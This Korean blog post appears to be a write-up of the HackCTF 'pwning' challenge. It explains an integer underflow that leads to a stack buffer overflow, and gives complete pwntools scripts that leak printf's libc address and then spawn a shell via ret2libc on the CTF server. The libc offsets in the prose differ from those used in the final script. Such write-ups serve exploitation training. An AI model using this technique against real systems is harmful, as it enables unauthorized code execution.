[HackCTF] pwning
System/PWNABLE

[HackCTF] pwning

728x90

checksec

32bit

NX 걸려있음

 

Pseudo Code

main()함수 pseudo code

vuln()함수로 바로 연결

vuln()함수 pseudo code

get_n 함수를 호출해 숫자를 입력받는 과정을 수행

nptr: 2C byte 만큼 buffer에 할당되어 있음

7: get_n(&nptr, 4); 

8: v2 = nptr을 atoi함수로 int형으로 전환한 값

9: v2의 값이 32보다 클 경우 경고 메시지 출력+종료

12: v2의 값이 32보다 작을 경우 get_n함수를 한 번 더 호출

      이때 v2를 get_n의 두번째 인자로 전달

 

get_n()함수 pseudo code

while 문v4: buffer에 D(=13)byte 할당되어있음 --> getchar()함수로 값 입력받기      0 또는 10(0xA)을 입력하면 while문 break

v5가 0부터 시작해 v5++를 반복하면서 두번째 인자로 전달되는 a2값보다 크거나 같아지면 while문 break

 

get_n(&nptr, 4)

while문 총 5번반복 >> v4를 5번 입력받을 수 있음

get_n(&nptr, v2)

int형이였던 v2를 get_n의 두번째 인자 unsigned int 형으로 받음 >> v2에 음수를 입력했다면 underflow가 발생해 4,294,967,296 + v2로 입력된다.

 

 

실행

몇 byte를 읽을 지 입력받고 data를 입력하도록 한다

 

 

Payload 작성

libc leak

printf()함수를 이용해 libc_base 구하기

printf@plt(printf@plt@got)

printf - libc = 0x49680

printf - system = 0xe8d0

system - libc = 0x3adb0

 

binsh offset

binsh - libc = 0x15bb0b

 

from pwn import *
from struct import *
#context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz",3019)
elf = ELF("./pwning")
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
#p = process("./pwning")

vuln = elf.symbols['vuln']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

p.sendlineafter("? ", "-1")

pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)

p.sendlineafter("data!\n", pl)

p.recvuntil("\n")
printf = u32(p.recv()[:4])
log.info("printf address: " + hex(printf))

p.interactive()

printf 주소

이 때 leak한 주소인 printf의 주소의 하위 3byte는 고정되어 달라지지 않기 때문에 이를 활용하여 라이브러리를 찾는다.

 

라이브러리 찾기

https://libc.blukat.me/

라이브러리를 찾고 offset 값들도 찾을 수 있다.

 

from pwn import *
#context.log_level = 'debug'
p=remote("ctf.j0n9hyun.xyz",3019)
elf = ELF("./pwning")
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")

vuln = elf.symbols['vuln']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

p.sendlineafter("? ", "-1")

pl = "A"*(0x2C + 4)
pl += p32(printf_plt)
pl += p32(vuln)
pl += p32(printf_got)

p.sendlineafter("data!\n", pl)

p.recvuntil("\n")
printf = u32(p.recv(4))
libc_base = printf - 0x049020
system = libc_base + 0x03a940
binsh = libc_base + 0x15902b
log.info("printf address: " + hex(printf))
log.info("libc_base: "+ hex(libc_base))

p.sendlineafter("? ", "-1")

#gdb.attach(p)
pl ="A"*(0x2C + 4)
pl += p32(system)
pl += "A"*4
pl += p32(binsh)

p.sendlineafter("data!\n", pl)

p.interactive()

!성공!

SMALL

'System > PWNABLE' 카테고리의 다른 글

gets_  (0) 2020.08.01
[ROP Emporium] write4  (0) 2020.07.19
BaskinRobins31  (0) 2020.07.12
r0pbaby  (0) 2020.07.12
babyROP  (0) 2020.06.21